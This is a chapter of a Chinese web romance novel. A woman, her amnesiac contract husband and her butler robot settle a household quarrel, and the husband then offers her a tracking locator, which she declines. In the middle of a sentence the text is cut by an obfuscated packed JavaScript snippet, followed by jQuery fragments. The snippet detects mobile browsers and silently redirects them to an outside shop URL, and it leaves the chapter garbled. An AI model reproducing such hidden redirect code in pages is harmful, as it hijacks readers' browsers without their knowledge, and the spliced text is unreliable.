3. 我不做保证

作品:《前夫说他喜欢我[GB]

    在一人一机你一句我一句的控诉中,沈时桑搞明白了事情的经过。


    陆昀修今早回来,看见空空的时候,因为失去记忆,以为只是个普通的家用机器人,就没放在心上。


    但是空空不知道发生了什么,只知道陆昀修已经三天没回家了。


    “你去哪里了?三天没有回家都没有和我说,程序也没改,浪费了好多食物。”


    陆昀修当时满心满眼都是该怎么给沈时桑准备惊喜,就没有注意到空空在和他说话,忽视了空空。


    空空立马不干了,加速来到陆昀修面前,问他:“空空的新电池呢?”


    陆昀修这才意识到这个机器人在和自己说话:“空空是谁?”


    “空空是我啊!”


    陆昀修看着空空圆溜溜的大白脑袋:“因为你脑袋空空,所以叫空空吗?”


    如何用一句话惹怒一个高级管家机器人。


    答案是怀疑它的智商。


    于是空空单方面和陆昀修冷战,等着沈时桑回来告状。


    在这个家里,家庭地位从高到低一直都是:沈时桑,空空,陆昀修。


    陆昀修既没买新电池,又没提前告知管家自己不回家,白白浪费了好几顿饭,还对管家说一些不中听的话。


    过分!


    太过分了!


    等当家的回来要他好看!


    一直到陆昀修点的花送过来,空空以为陆昀修是想为今天发生的事讨好沈时桑,就很不屑地说了句“姐姐不会喜欢的”。


    陆昀修没理它。


    空空知道沈时桑对花粉过敏,想过去把花扔掉,陆昀修以为空空要捣乱,把它关机了。


    直到现在程序预定的晚饭时间到了,空空才自动开机。


    听完这一切,沈时桑无奈扶额。


    这么多年了,这种家庭矛盾她还是第一次遇到。


    “空空,陆昀修出车祸失忆了,所以不记得你,也不记得我花粉过敏,他不是故意的,我让他和你道歉,你别生气了好不好?”


    空空听到陆昀修失忆了,电子屏幕上的表情几经变化,最后露出一个噘嘴的表情,别扭地说:“算了,他不是故意的,空空就不怪他了。”


    沈时桑笑着摸了摸空空光滑的脑袋:“空空真乖。”


    空空又问:“他是在给空空买新电池的路上出车祸了吗?”


    不愧是高级机器人,反应得很快。


    “是的,不过不是空空的错。”


    空空没有再说什么,控制着滚轮过去,用机器手拍了拍陆昀修的大腿,就去厨房准备晚饭了。


    沈时桑向陆昀修解释:“空空知道你受伤了,在安慰你。它不说话也是因为有些自责。”


    陆昀修看着空空在厨房有条不紊地准备着晚饭的背影,对沈时桑说:“你对它好温柔。”


    比对他还温柔。


    “空空是我小时候得到的生日礼物,我小时候没有朋友,都是它陪着我。”


    说起这个,沈时桑的语气都柔和了许多:“一开始它还没这么聪明,我后面帮它升级了好几次,才有了现在的样子。”


    想起什么,沈时桑补充道:“它叫空空不是因为脑袋空空,是因为它来之前,我身边都空落落的,所以才取名叫空空。”


    陆昀修陷入了沉默,半晌才说:“我去厨房帮忙。”


    沈时桑也没拦着,转身去卧室洗澡。


    等她出来的时候,晚饭已经准备好,陆昀修和空空也已经和好。


    但也没有完全和好。


    沈时桑刚一坐下,空空就问:“姐姐,他刚才跟我说要追求你,真的吗?”


    “真的。”沈时桑回答。


    “可是你们不是要离婚了吗?”


    陆昀修抢答:“这不是还没离吗?”


    空空不满:“可是不离婚,你什么时候才能从家里离开。”


    “我为什么要离开?我在这里可以陪着你啊。”


    陆昀修在知道空空的真实身份后,对待空空的态度就与之前完全不同了,俨然把空空当成了自己攻略沈时桑的重要一环。


    但空空不吃这套,控诉道:“你在这里会打扰空空工作,我把姐姐的衣服放进洗衣机,你总是拿出来非要自己手洗,还洗不干净!”


    沈时桑:“……”


    陆昀修:“……”


    这简直是平地一声雷。


    可怕的沉默弥漫了整个餐厅。


    沈时桑甚至不能问现在的陆昀修,为什么非要手洗她的衣服。


    最可怜的还是陆昀修,干这些事的记忆他一点都没有,被揭穿在沈时桑面前的尴尬后果还需要他承担。


    然而机器人不懂察言观色,还在继续说:“你之前还和空空抢活,让空空去打扫你的房间,你打扫姐姐的房间。”


    可怕的沉默更浓。


    空空最后扔下一句话将沉默的气氛推向高潮:“空空也想打扫姐姐的房间!”


    这个“也”字就很微妙,那个“想”字也值得揣摩。


    沈时桑好想把27岁的陆昀修叫回来,问问这个四体不勤五谷不分的小少爷,为什么想打扫自己的房间。


    陆昀修好想把27岁的陆昀修从身体里扯出来,问他为什么做这些事情只记得背人,不知道背着点机器人。


    这下好了,他都没机会干这些事了。


    陆昀修清了清嗓子,决定为27岁的自己辩解几句:“他估计只是想为这个家出份力,没有是BT的意思。”


    沈时桑也想赶紧把这个话题揭过去。


    空空说的这些实在和她印象中的陆昀修搭不上边。


    “也有可能是和你……他愿意和我协议结婚有关,说不定他想从我这里得到点沈家的商家机密,所以才鬼鬼祟祟的干这些事。”


    陆昀修知道不是这样的,但是现在卧底和BT的身份他必须要选一个。


    他选C。


    “我知道了,他可能是缺少灵感了,需要做这些事做素材。”陆昀修说,“我上大学的时候也会靠帮室友干活找灵感。”


    “你们专业好特别。”沈时桑不理解,但尊重了。


    为了防止空空再说出点什么惊世骇俗的话,沈时桑把它放到自己房间,让它去帮自己搞卫生。


    空空自然高高兴兴地打扫起来,还为自己播放了BGM。


    没了人打扰,陆昀修继续执行自己做好的惊喜计划。


    “其实除了花,我还准备了一样东西。”陆昀修从口袋里掏出一个小盒子。


    沈时桑眼睛微眯,提前出声警告:“我不接受求婚。”


    陆昀修动作一顿,想装作不在意这句话,但语速不自觉加急:“不是求婚戒指。”


    盒子被打开,里面是一个银色的金属圆球,小小的,大概只有小拇指的指尖那么大。


    “这是什么?”沈时桑问。


    陆昀修另一只手跟变戏法一样,拿出一条带有吊坠的项链。


    “这是定位器,我会把它装在这个项链里面,随身携带,只要你想,你就可以随时知道我在哪里。”


    这是陆昀修网上学来的,那个帖子的标题为“如何让对象有安全感”,里面有一条就是随时让对象掌握自己的行踪。


    那有什么比定位器更好掌握他人的行踪呢?


    沈时桑闻言,心下一动,却不是因为陆昀修口中的“安全感”,而是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471051|201481||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    背后隐含的“控制感”。


    她从来没跟陆昀修说过,她在这方面的情感偏好。


    毕竟是合作关系,他也没必要知道这么多。


    所以即使陆昀修长得还挺合她胃口的,两年多的时间里,沈时桑也没有动过心思。


    但是现在——


    可能是因为心理年龄的变化,陆昀修的脸较之前多了几分朝气与稚嫩,先天带有魅惑的桃花眼里却是最纯真的情感,黑的湿漉漉的眼眸就这么望着她。


    像一只热情小狗。


    沈时桑的食指下意识敲了敲桌面,一时没有出声。


    陆昀修不知道沈时桑在想什么,就这么一手定位器一手项链地等着她。


    半晌,沈时桑终于开口:“不用这个,即使是协议婚姻,你也应该是自由的。”


    陆昀修却说:“我知道,我只是想向你证明我的心而已。”


    沈时桑又不说话了。


    陆昀修有些泄气,主动退一步:“那定位器就算了,你帮我把项链戴起来可以吗?”


    沈时桑婉拒:“你可以自己戴。”


    “可是我想让你帮我。”陆昀修可怜兮兮地说,“你已经拒绝过我一次了,还要拒绝我第二次吗?”


    “为什么不能?”沈时桑后仰,微靠在椅背上,撩起眼皮看着陆昀修,从眉头打量到下巴尖。


    陆昀修在沈时桑的注视下,不由自主地挺直后背。


    “你很讨厌我吗?还是讨厌27岁的我?”


    “怎么这么问?”


    沈时桑没想到陆昀修会这么问,但是她其实挺满意陆昀修这个联姻对象的,从头到尾都很配合她。


    “因为我感觉你一直有点排斥我。”陆昀修声音低低的,“有意保持距离感,和陌生人一样,但不管怎么说我们也结婚两年多了不是吗?”


    沈时桑眉心微蹙,解释道:“我们之间一直是这样的,只是你忘记了。”


    可是陆昀修反而看起来更低迷了。


    这些事情一时半会也掰扯不清,反正只剩最后三个月,掰扯不清就掰扯不清吧。


    沈时桑连轴转了三天,已经累得不行,想回房休息了。


    她起身走向卧室,在经过陆昀修身边时,脚步停住,伸手。


    “项链给我。”


    话音刚落,陆昀修就像是久旱逢甘雨的小草一样,肉眼可见的精神起来,笑眯眯地把项链递过去,然后转过身露出白皙的脖颈。


    沈时桑垂眼,一边把项链戴好,一边说:“我收到消息,要提前进组,后天出发。”


    陆昀修立马说:“我也要去!”


    意料之中的回答。


    沈时桑示意陆昀修转过来,对他说:“你可以去,但是要提前说好,这次是拍戏要去外地,一待就是几个月,拍戏期间我一般不会离开剧组,你在那里会很无聊。”


    陆昀修摇头说没关系。


    “如果你要去,你要听我的话,不能打扰我工作,也不能暴露自己的真实身份,就说你是我新招的助理。”


    陆昀修点头,保证自己会乖乖听话。


    更像小狗了。


    沈时桑心想。


    “最后一点,我必须要告诉你,我让你去只是为了看住你,保护好协议婚姻的秘密,期限到了我们依旧要离婚。”


    “如果我让你喜欢上我了呢?”


    沈时桑想说不可能,但话到嘴边,却没说出口。


    她伸出手指轻轻磨蹭了一下陆昀修的下巴,若即若离的触感不等陆昀修主动蹭过来就消失了。


    “会不会有变量,全看你的本事了。”


    沈时桑露出今晚的第一个笑容:“我不做保证。”